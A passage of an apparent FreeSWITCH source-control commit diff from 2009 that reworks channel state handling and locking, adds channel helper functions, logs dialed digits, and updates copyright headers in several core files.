 	if (channel->variables && !switch_strlen_zero(varname)) {
-		switch_mutex_lock(channel->profile_mutex);
 		switch_event_del_header(channel->variables, varname);
 		if (!switch_strlen_zero(value)) {
 			int ok = 1;
@@ -592,14 +630,14 @@
 			if (ok) {
 				switch_event_add_header_string(channel->variables, SWITCH_STACK_BOTTOM, varname, value);
 			} else {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid data (contains a variable)\n");
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid data (${%s} contains a variable)\n", varname);
 			}
 		}
-		switch_mutex_unlock(channel->profile_mutex);
-		return SWITCH_STATUS_SUCCESS;
+		status = SWITCH_STATUS_SUCCESS;
 	}
+	switch_mutex_unlock(channel->profile_mutex);
 
-	return SWITCH_STATUS_FALSE;
+	return status;
 }
 
 switch_status_t switch_event_base_add_header(switch_event_t *event, switch_stack_t stack, const char *header_name, char *data);
@@ -609,10 +647,12 @@
 	int ret = 0;
 	char *data;
 	va_list ap;
+	switch_status_t status = SWITCH_STATUS_FALSE;
+
 	switch_assert(channel != NULL);
 
+	switch_mutex_lock(channel->profile_mutex);
 	if (channel->variables && !switch_strlen_zero(varname)) {
-		switch_mutex_lock(channel->profile_mutex);
 		switch_event_del_header(channel->variables, varname);
 
 		va_start(ap, fmt);
@@ -626,11 +666,11 @@
 
 		switch_event_base_add_header(channel->variables, SWITCH_STACK_BOTTOM, varname, data);
 
-		switch_mutex_unlock(channel->profile_mutex);
-		return SWITCH_STATUS_SUCCESS;
+		status = SWITCH_STATUS_SUCCESS;
 	}
+	switch_mutex_unlock(channel->profile_mutex);
 
-	return SWITCH_STATUS_FALSE;
+	return status;
 }
 
 
@@ -679,6 +719,24 @@
 	return SWITCH_FALSE;
 }
 
+SWITCH_DECLARE(uint32_t) switch_channel_test_flag_partner(switch_channel_t *channel, switch_channel_flag_t flag)
+{
+	const char *uuid;
+	int r = 0;
+	
+	switch_assert(channel != NULL);
+
+	if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
+		switch_core_session_t *session;
+		if ((session = switch_core_session_locate(uuid))) {
+			r = switch_channel_test_flag(switch_core_session_get_channel(session), flag);
+			switch_core_session_rwunlock(session);
+		}
+	}
+
+	return r;
+}
+
 SWITCH_DECLARE(switch_bool_t) switch_channel_clear_flag_partner(switch_channel_t *channel, switch_channel_flag_t flag)
 {
 	const char *uuid;
@@ -706,20 +764,39 @@
 		state = switch_channel_get_running_state(other_channel);
 		mystate = switch_channel_get_running_state(channel);
 
-		if (mystate != ostate || state >= CS_HANGUP || state == want_state) {
+		if (mystate != ostate || state >= CS_HANGUP || state >= want_state) {
 			break;
 		}
 		switch_cond_next();
 	}
 }
 
+
+SWITCH_DECLARE(void) switch_channel_wait_for_state_timeout(switch_channel_t *other_channel, switch_channel_state_t want_state, uint32_t timeout)
+{
+	switch_channel_state_t state;
+	uint32_t count = 0;
+
+	for (;;) {
+		state = switch_channel_get_running_state(other_channel);
+
+		if (state >= want_state) {
+			break;
+		}
+		switch_cond_next();
+		if (++count >= timeout) {
+			break;
+		}
+	}
+}
+
 SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel, 
 															 switch_channel_flag_t want_flag, 
 															 switch_bool_t pres, 
 															 uint32_t to,
 															 switch_channel_t *super_channel)
 {
-
+	
 	if (to) {
 		to++;
 	}
@@ -741,7 +818,7 @@
 			return SWITCH_STATUS_FALSE;
 		}
 
-		if (!switch_channel_ready(channel)) {
+		if (switch_channel_down(channel)) {
 			return SWITCH_STATUS_FALSE;
 		}
 
@@ -844,9 +921,7 @@
 	switch_channel_state_t state;
 	switch_assert(channel != NULL);
 
-	switch_mutex_lock(channel->flag_mutex);
 	state = channel->state;
-	switch_mutex_unlock(channel->flag_mutex);
 
 	return state;
 }
@@ -856,19 +931,27 @@
 	switch_channel_state_t state;
 	switch_assert(channel != NULL);
 
-	switch_mutex_lock(channel->flag_mutex);
 	state = channel->running_state;
-	switch_mutex_unlock(channel->flag_mutex);
 
 	return state;
 }
 
-SWITCH_DECLARE(uint8_t) switch_channel_ready(switch_channel_t *channel)
+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media)
 {
-	uint8_t ret = 0;
+	int ret = 0;
 
 	switch_assert(channel != NULL);
 
+	if (media) {
+		ret = ((switch_channel_test_flag(channel, CF_ANSWERED) || 
+				switch_channel_test_flag(channel, CF_EARLY_MEDIA)) && !switch_channel_test_flag(channel, CF_PROXY_MODE) && 
+			   switch_core_session_get_read_codec(channel->session) && switch_core_session_get_write_codec(channel->session));
+
+		if (!ret) return ret;
+	}
+	
+	ret = 0;
+
 	if (!channel->hangup_cause && channel->state > CS_ROUTING && channel->state < CS_HANGUP && channel->state != CS_RESET &&
 		!switch_channel_test_flag(channel, CF_TRANSFER)) {
 		ret++;
@@ -889,7 +972,8 @@
 	"CS_HIBERNATE",
 	"CS_RESET",
 	"CS_HANGUP",
-	"CS_DONE",
+	"CS_REPORTING",
+	"CS_DESTROY",
 	NULL
 };
 
@@ -908,14 +992,14 @@
 		}
 	}
 
-	return CS_DONE;
+	return CS_DESTROY;
 }
 
 SWITCH_DECLARE(switch_channel_state_t) switch_channel_perform_set_running_state(switch_channel_t *channel, switch_channel_state_t state,
 																				const char *file, const char *func, int line)
 {
 	int x;
-	switch_mutex_lock(channel->flag_mutex);
+	switch_mutex_lock(channel->state_mutex);
 	switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG, "(%s) Running State Change %s\n", channel->name, state_names[state]);
 	channel->running_state = state;
 
@@ -931,8 +1015,8 @@
 
 	switch_channel_clear_flag(channel, CF_TAGGED);
 
-	if (channel->state >= CS_ROUTING) {
-		switch_channel_presence(channel, "unknown", (char *) state_names[state], NULL);
+	if (channel->state >= CS_ROUTING && channel->state <= CS_HANGUP) {
+		switch_channel_presence(channel, "unknown", (const char *) state_names[state], NULL);
 	}
 
 	if (state < CS_HANGUP) {
@@ -941,14 +1025,14 @@
 			if (state == CS_ROUTING) {
 				switch_channel_event_set_data(channel, event);
 			} else {
-				char state_num[25];
-				switch_snprintf(state_num, sizeof(state_num), "%d", state);
-				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-State", (char *) switch_channel_state_name(state));
-				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-State-Number", (char *) state_num);
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-State", switch_channel_state_name(state));
+				switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Channel-State-Number", "%d", state);
 				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Name", channel->name);
 				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(channel->session));
 				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Direction",
-										switch_channel_test_flag(channel, CF_OUTBOUND) ? "outbound" : "inbound");
+											   channel->direction == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
+				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Presence-Call-Direction",
+											   channel->direction == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
 				if (switch_channel_test_flag(channel, CF_ANSWERED)) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Answer-State", "answered");
 				} else if (switch_channel_test_flag(channel, CF_EARLY_MEDIA)) {
@@ -961,7 +1045,7 @@
 		}
 	}
 
-	switch_mutex_unlock(channel->flag_mutex);
+	switch_mutex_unlock(channel->state_mutex);
 
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -973,11 +1057,11 @@
 	int ok = 0;
 
 	switch_assert(channel != NULL);
-	switch_assert(state <= CS_DONE);
-	switch_mutex_lock(channel->flag_mutex);
+	switch_assert(state <= CS_DESTROY);
+	switch_mutex_lock(channel->state_mutex);
 
 	last_state = channel->state;
-	switch_assert(last_state <= CS_DONE);
+	switch_assert(last_state <= CS_DESTROY);
 
 	if (last_state == state) {
 		goto done;
@@ -998,7 +1082,7 @@
 	   case CS_ROUTING:
 	   case CS_EXECUTE:
 	   case CS_HANGUP:
-	   case CS_DONE:
+	   case CS_DESTROY:
 
 	   default:
 	   break;
@@ -1139,13 +1223,23 @@
 
 	case CS_HANGUP:
 		switch (state) {
-		case CS_DONE:
+		case CS_REPORTING:
+		case CS_DESTROY:
 			ok++;
 		default:
 			break;
 		}
 		break;
 
+	case CS_REPORTING:
+		switch (state) {
+		case CS_DESTROY:
+			ok++;
+		default:
+			break;
+		}
+		break;
+
 	default:
 		break;
 
@@ -1154,15 +1248,14 @@
 	if (ok) {
 		switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG, "(%s) State Change %s -> %s\n",
 						  channel->name, state_names[last_state], state_names[state]);
-		switch_mutex_lock(channel->flag_mutex);
+
 		channel->state = state;
-		switch_mutex_unlock(channel->flag_mutex);
 
 		if (state == CS_HANGUP && !channel->hangup_cause) {
 			channel->hangup_cause = SWITCH_CAUSE_NORMAL_CLEARING;
 		}
 
-		if (state < CS_DONE) {
+		if (state < CS_DESTROY) {
 			switch_core_session_signal_state_change(channel->session);
 		}
 	} else {
@@ -1174,14 +1267,14 @@
 	}
   done:
 
-	switch_mutex_unlock(channel->flag_mutex);
+	switch_mutex_unlock(channel->state_mutex);
 	return channel->state;
 }
 
 SWITCH_DECLARE(void) switch_channel_event_set_basic_data(switch_channel_t *channel, switch_event_t *event)
 {
 	switch_caller_profile_t *caller_profile, *originator_caller_profile = NULL, *originatee_caller_profile = NULL;
-	switch_codec_t *codec;
+	switch_codec_implementation_t impl = {0};
 	char state_num[25];
 
 	switch_mutex_lock(channel->profile_mutex);
@@ -1196,8 +1289,13 @@
 	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-State-Number", state_num);
 	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Name", switch_channel_get_name(channel));
 	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(channel->session));
+	
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Direction",
+								   channel->direction == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Presence-Call-Direction",
+								   channel->direction == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
 
-	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Direction", switch_channel_test_flag(channel, CF_OUTBOUND) ? "outbound" : "inbound");
+
 	if (switch_channel_test_flag(channel, CF_ANSWERED)) {
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Answer-State", "answered");
 	} else if (switch_channel_test_flag(channel, CF_EARLY_MEDIA)) {
@@ -1206,14 +1304,18 @@
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Answer-State", "ringing");
 	}
 
-	if ((codec = switch_core_session_get_read_codec(channel->session)) && codec->implementation) {
-		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Read-Codec-Name", switch_str_nil(codec->implementation->iananame));
-		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Channel-Read-Codec-Rate", "%u", codec->implementation->actual_samples_per_second);
+	switch_core_session_get_read_impl(channel->session, &impl);
+
+	if (impl.iananame) {
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Read-Codec-Name", impl.iananame);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Channel-Read-Codec-Rate", "%u", impl.actual_samples_per_second);
 	}
 
-	if ((codec = switch_core_session_get_write_codec(channel->session)) && codec->implementation) {
-		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Write-Codec-Name", switch_str_nil(codec->implementation->iananame));
-		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Channel-Write-Codec-Rate", "%u", codec->implementation->actual_samples_per_second);
+	switch_core_session_get_write_impl(channel->session, &impl);
+
+	if (impl.iananame) {
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Channel-Write-Codec-Name", impl.iananame);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Channel-Write-Codec-Rate", "%u", impl.actual_samples_per_second);
 	}
 
 	/* Index Caller's Profile */
@@ -1257,10 +1359,12 @@
 		event->event_id == SWITCH_EVENT_CHANNEL_PROGRESS ||
 		event->event_id == SWITCH_EVENT_CHANNEL_PROGRESS_MEDIA ||
 		event->event_id == SWITCH_EVENT_CHANNEL_HANGUP ||
+		event->event_id == SWITCH_EVENT_CHANNEL_HANGUP_COMPLETE ||
 		event->event_id == SWITCH_EVENT_REQUEST_PARAMS ||
 		event->event_id == SWITCH_EVENT_CHANNEL_DATA ||
 		event->event_id == SWITCH_EVENT_CHANNEL_EXECUTE_COMPLETE ||
 		event->event_id == SWITCH_EVENT_SESSION_HEARTBEAT ||
+		event->event_id == SWITCH_EVENT_API ||
 		event->event_id == SWITCH_EVENT_CUSTOM
 		) {
 
@@ -1328,7 +1432,7 @@
 	}
 
 	caller_profile->times = (switch_channel_timetable_t *) switch_core_session_alloc(channel->session, sizeof(*caller_profile->times));
-	caller_profile->times->profile_created = switch_timestamp_now();
+	caller_profile->times->profile_created = switch_micro_time_now();
 
 	if (channel->caller_profile && channel->caller_profile->times) {
 		channel->caller_profile->times->transferred = caller_profile->times->profile_created;
@@ -1341,7 +1445,7 @@
 			switch_caller_extension_clone(&caller_profile->caller_extension, channel->caller_profile->caller_extension, caller_profile->pool);
 		}
 	} else {
-		caller_profile->times->created = switch_timestamp_now();
+		caller_profile->times->created = switch_micro_time_now();
 	}
 
 	caller_profile->next = channel->caller_profile;
@@ -1356,7 +1460,9 @@
 	switch_caller_profile_t *profile;
 	switch_assert(channel != NULL);
 	switch_mutex_lock(channel->profile_mutex);
-	profile = channel->caller_profile;
+	if ((profile = channel->caller_profile) && profile->hunt_caller_profile) {
+		profile = profile->hunt_caller_profile;
+	}
 	switch_mutex_unlock(channel->profile_mutex);
 	return profile;
 }
@@ -1379,6 +1485,19 @@
 	switch_mutex_unlock(channel->profile_mutex);
 }
 
+SWITCH_DECLARE(void) switch_channel_set_hunt_caller_profile(switch_channel_t *channel, switch_caller_profile_t *caller_profile)
+{
+	switch_assert(channel != NULL);
+	switch_assert(channel->caller_profile != NULL);
+
+	switch_mutex_lock(channel->profile_mutex);
+	channel->caller_profile->hunt_caller_profile = NULL;
+	if (channel->caller_profile && caller_profile) {
+		channel->caller_profile->hunt_caller_profile = caller_profile;
+	}
+	switch_mutex_unlock(channel->profile_mutex);
+}
+
 SWITCH_DECLARE(void) switch_channel_set_originatee_caller_profile(switch_channel_t *channel, switch_caller_profile_t *caller_profile)
 {
 	switch_assert(channel != NULL);
@@ -1433,7 +1552,7 @@
 	int x, index;
 
 	switch_assert(channel != NULL);
-	switch_mutex_lock(channel->flag_mutex);
+	switch_mutex_lock(channel->state_mutex);
 	for (x = 0; x < SWITCH_MAX_STATE_HANDLERS; x++) {
 		if (channel->state_handlers[x] == state_handler) {
 			index = x;
@@ -1450,7 +1569,7 @@
 	channel->state_handlers[index] = state_handler;
 
   end:
-	switch_mutex_unlock(channel->flag_mutex);
+	switch_mutex_unlock(channel->state_mutex);
 	return index;
 }
 
@@ -1464,9 +1583,9 @@
 		return NULL;
 	}
 
-	switch_mutex_lock(channel->flag_mutex);
+	switch_mutex_lock(channel->state_mutex);
 	h = channel->state_handlers[index];
-	switch_mutex_unlock(channel->flag_mutex);
+	switch_mutex_unlock(channel->state_mutex);
 
 	return h;
 }
@@ -1478,7 +1597,7 @@
 
 	switch_assert(channel != NULL);
 
-	switch_mutex_lock(channel->flag_mutex);
+	switch_mutex_lock(channel->state_mutex);
 	channel->state_handler_index = 0;
 
 	if (state_handler) {
@@ -1498,7 +1617,7 @@
 		}
 	}
 
-	switch_mutex_unlock(channel->flag_mutex);
+	switch_mutex_unlock(channel->state_mutex);
 }
 
 SWITCH_DECLARE(void) switch_channel_set_caller_extension(switch_channel_t *channel, switch_caller_extension_t *caller_extension)
@@ -1526,46 +1645,45 @@
 }
 
 
-SWITCH_DECLARE(switch_channel_state_t) switch_channel_perform_hangup(switch_channel_t *channel,
-																	 const char *file, const char *func, int line, switch_call_cause_t hangup_cause)
+SWITCH_DECLARE(void) switch_channel_set_hangup_time(switch_channel_t *channel)
 {
-	switch_assert(channel != NULL);
-	switch_mutex_lock(channel->flag_mutex);
-
 	if (channel->caller_profile && channel->caller_profile->times && !channel->caller_profile->times->hungup) {
 		switch_mutex_lock(channel->profile_mutex);
-		channel->caller_profile->times->hungup = switch_timestamp_now();
+		channel->caller_profile->times->hungup = switch_micro_time_now();
 		switch_mutex_unlock(channel->profile_mutex);
 	}
+}
 
-	switch_channel_stop_broadcast(channel);
 
+SWITCH_DECLARE(switch_channel_state_t) switch_channel_perform_hangup(switch_channel_t *channel,
+																	 const char *file, const char *func, int line, switch_call_cause_t hangup_cause)
+{
+	switch_assert(channel != NULL);
+
+	switch_channel_clear_flag(channel, CF_BLOCK_STATE);
+	
 	if (channel->state < CS_HANGUP) {
+		switch_channel_state_t last_state = channel->state;
 		switch_event_t *event;
-		switch_channel_state_t last_state = channel->state;
 
+		switch_mutex_lock(channel->state_mutex);
 		channel->state = CS_HANGUP;
+		switch_mutex_unlock(channel->state_mutex);
+
 		channel->hangup_cause = hangup_cause;
 		switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_NOTICE, "Hangup %s [%s] [%s]\n",
 						  channel->name, state_names[last_state], switch_channel_cause2str(channel->hangup_cause));
-		
-		switch_channel_set_variable(channel, "hangup_cause", switch_channel_cause2str(channel->hangup_cause));
-		switch_channel_presence(channel, "unavailable", switch_channel_cause2str(channel->hangup_cause), NULL);
 
-		switch_core_session_kill_channel(channel->session, SWITCH_SIG_KILL);
-		switch_core_session_signal_state_change(channel->session);
-
-		switch_channel_set_timestamps(channel);
-
 		if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_HANGUP) == SWITCH_STATUS_SUCCESS) {
-			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hangup-Cause", switch_channel_cause2str(channel->hangup_cause));
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hangup-Cause", switch_channel_cause2str(hangup_cause));
 			switch_channel_event_set_data(channel, event);
 			switch_event_fire(&event);
 		}
 
+		switch_core_session_kill_channel(channel->session, SWITCH_SIG_KILL);
+		switch_core_session_signal_state_change(channel->session);
 	}
 
-	switch_mutex_unlock(channel->flag_mutex);
 	return channel->state;
 }
 
@@ -1580,7 +1698,7 @@
 		switch_channel_set_flag(channel, CF_RING_READY);
 		if (channel->caller_profile && channel->caller_profile->times) {
 			switch_mutex_lock(channel->profile_mutex);
-			channel->caller_profile->times->progress = switch_timestamp_now();
+			channel->caller_profile->times->progress = switch_micro_time_now();
 			if (channel->caller_profile->originator_caller_profile) {
 				switch_core_session_t *other_session;
 				if ((other_session = switch_core_session_locate(channel->caller_profile->originator_caller_profile->uuid))) {
@@ -1622,8 +1740,6 @@
 {
 	switch_event_t *event;
 
-	switch_channel_perform_mark_ring_ready(channel, file, func, line);
-
 	if (!switch_channel_test_flag(channel, CF_EARLY_MEDIA)) {
 		const char *uuid;
 		switch_core_session_t *other_session;
@@ -1638,7 +1754,7 @@
 		
 		if (channel->caller_profile && channel->caller_profile->times) {
 			switch_mutex_lock(channel->profile_mutex);
-			channel->caller_profile->times->progress_media = switch_timestamp_now();
+			channel->caller_profile->times->progress_media = switch_micro_time_now();
 			if (channel->caller_profile->originator_caller_profile) {
 				switch_core_session_t *osession;
 				if ((osession = switch_core_session_locate(channel->caller_profile->originator_caller_profile->uuid))) {
@@ -1756,7 +1872,7 @@
 
 	if (channel->caller_profile && channel->caller_profile->times) {
 		switch_mutex_lock(channel->profile_mutex);
-		channel->caller_profile->times->answered = switch_timestamp_now();
+		channel->caller_profile->times->answered = switch_micro_time_now();
 		switch_mutex_unlock(channel->profile_mutex);
 	}
 
@@ -1800,12 +1916,17 @@
 		char *arg = NULL;
 
 		app = switch_core_session_strdup(channel->session, var);
-
-		if ((arg = strchr(app, ' '))) {
-			*arg++ = '\0';
+		
+		if ((arg = strchr(app, ':')) && *(arg+1) == ':') {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s execute on answer: %s (BROADCAST)\n", channel->name, app);
+			switch_ivr_broadcast(switch_core_session_get_uuid(channel->session), app, SMF_NONE);
+		} else {
+			if ((arg = strchr(app, ' '))) {
+				*arg++ = '\0';
+			}
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s execute on answer: %s(%s)\n", channel->name, app, switch_str_nil(arg));
+			switch_core_session_execute_application(channel->session, app, arg);
 		}
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s execute on answer: %s(%s)", channel->name, app, switch_str_nil(arg));
-		switch_core_session_execute_application(channel->session, app, arg);
 	}
 
 	switch_channel_audio_sync(channel);
@@ -1866,7 +1987,7 @@
 		return (char *) in;
 	}
 
-	nv = switch_string_var_check_const(in);
+	nv = switch_string_var_check_const(in) || switch_string_has_escaped_data(in);
 
 	if (!nv) {
 		return (char *) in;
@@ -1887,12 +2008,12 @@
 			if (*p == '\\') {
 				if (*(p + 1) == '$') {
 					nv = 1;
+					p++;
 				} else if (*(p + 1) == '\\') {
 					*c++ = *p++;
 					len++;
 					continue;
 				}
-				p++;
 			}
 
 			if (*p == '$' && !nv) {
@@ -2217,7 +2338,16 @@
 	switch_time_t uduration = 0, legbillusec = 0, billusec = 0, progresssec = 0, progressusec = 0, progress_mediasec = 0, progress_mediausec = 0;
 	time_t tt_created = 0, tt_answered = 0, tt_progress = 0, tt_progress_media = 0, tt_hungup = 0, mtt_created = 0, mtt_answered = 0, mtt_hungup =
 		0, tt_prof_created, mtt_prof_created, mtt_progress = 0, mtt_progress_media = 0;
+	void *pop;
+	char dtstr[SWITCH_DTMF_LOG_LEN+1] = "";
+	int x = 0;
 
+	if (switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	switch_channel_set_flag(channel, CF_TIMESTAMP_SET);
+
 	if (!(caller_profile = switch_channel_get_caller_profile(channel)) || !channel->variables) {
 		return SWITCH_STATUS_FALSE;
 	}
@@ -2239,6 +2369,22 @@
 		cid_buf = caller_profile->caller_id_number;
 	}
 
+	while (x < SWITCH_DTMF_LOG_LEN && switch_queue_trypop(channel->dtmf_log_queue, &pop) == SWITCH_STATUS_SUCCESS) {
+		switch_dtmf_t *dt = (switch_dtmf_t *) pop;
+
+		if (dt) {
+			dtstr[x++] = dt->digit;
+			free(dt);
+			dt = NULL;
+		}
+	}
+	
+	if (x) {
+		switch_channel_set_variable(channel, "digits_dialed", dtstr);
+	} else {
+		switch_channel_set_variable(channel, "digits_dialed", "none");
+	}
+
 	if (caller_profile->times) {
 		switch_time_exp_t tm;
 		switch_size_t retsize;
@@ -2338,9 +2484,9 @@
 		}
 
 		if (caller_profile->times->progress_media) {
-			progress_mediasec = (int32_t) (tt_progress - tt_created);
-			progress_mediamsec = (int32_t) (mtt_progress - mtt_created);
-			progress_mediausec = caller_profile->times->progress - caller_profile->times->created;
+			progress_mediasec = (int32_t) (tt_progress_media - tt_created);
+			progress_mediamsec = (int32_t) (mtt_progress_media - mtt_created);
+			progress_mediausec = caller_profile->times->progress_media - caller_profile->times->created;
 		}
 
 
@@ -2394,7 +2540,7 @@
 
 	switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, legbillusec);
 	switch_channel_set_variable(channel, "flow_billusec", tmp);
-
+	
 	return status;
 }
 

Modified: freeswitch/branches/seven/src/switch_config.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_config.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_config.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_config.c -- Configuration File Parser

Modified: freeswitch/branches/seven/src/switch_console.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_console.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_console.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_console.c -- Simple Console
@@ -162,6 +162,30 @@
 	return ret ? SWITCH_STATUS_FALSE : SWITCH_STATUS_SUCCESS;
 }
 
+SWITCH_DECLARE(switch_status_t) switch_stream_write_file_contents(switch_stream_handle_t *stream, const char *path)
+{
+	char *dpath = NULL;
+	int fd;
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	
+	if (!switch_is_file_path(path)) {
+		dpath = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR, path);
+		path = dpath;
+	}
+	
+	if ((fd = open(path, O_RDONLY)) > -1) {
+		char buf[2048] = { 0 };
+		while (switch_fd_read_line(fd, buf, sizeof(buf))) {
+			stream->write_function(stream, "%s", buf);
+		}
+		close(fd);
+		status = SWITCH_STATUS_SUCCESS;
+	}
+	
+	switch_safe_free(dpath);
+	return status;
+}
+
 static int alias_callback(void *pArg, int argc, char **argv, char **columnNames)
 {
 	char **r = (char **) pArg;
@@ -296,7 +320,7 @@
 		goto done;
 	}
 
-	switch_time_exp_lt(&tm, switch_timestamp_now());
+	switch_time_exp_lt(&tm, switch_micro_time_now());
 	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
 
 	if (channel == SWITCH_CHANNEL_ID_LOG) {
@@ -408,6 +432,7 @@
 {
 	if (*prompt_str == '\0') {
 		gethostname(hostname, sizeof(hostname));
+		switch_core_set_variable("hostname", hostname);
 		switch_snprintf(prompt_str, sizeof(prompt_str), "freeswitch@%s> ", hostname);
 	}
 
@@ -778,6 +803,8 @@
 	el_set(el, EL_HIST, history, myhistory);
 	history(myhistory, &ev, H_LOAD, hfile);
 
+	el_source(el, NULL);
+
 	switch_threadattr_create(&thd_attr, pool);
 	switch_threadattr_detach_set(thd_attr, 1);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);

Modified: freeswitch/branches/seven/src/switch_core.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Marcel Barbulescu <marcelbarbulescu@gmail.com>
@@ -33,7 +33,11 @@
  *
  */
 
+
+
 #include <switch.h>
+#include <switch_stun.h>
+#include <switch_nat.h>
 #include <switch_version.h>
 #include "private/switch_core_pvt.h"
 #ifndef WIN32
@@ -42,7 +46,9 @@
 #include <sys/resource.h>
 #endif
 #endif
+#include <errno.h>
 
+
 SWITCH_DECLARE_DATA switch_directories SWITCH_GLOBAL_dirs = { 0 };
 
 /* The main runtime obj we keep this hidden for ourselves */
@@ -75,6 +81,7 @@
 
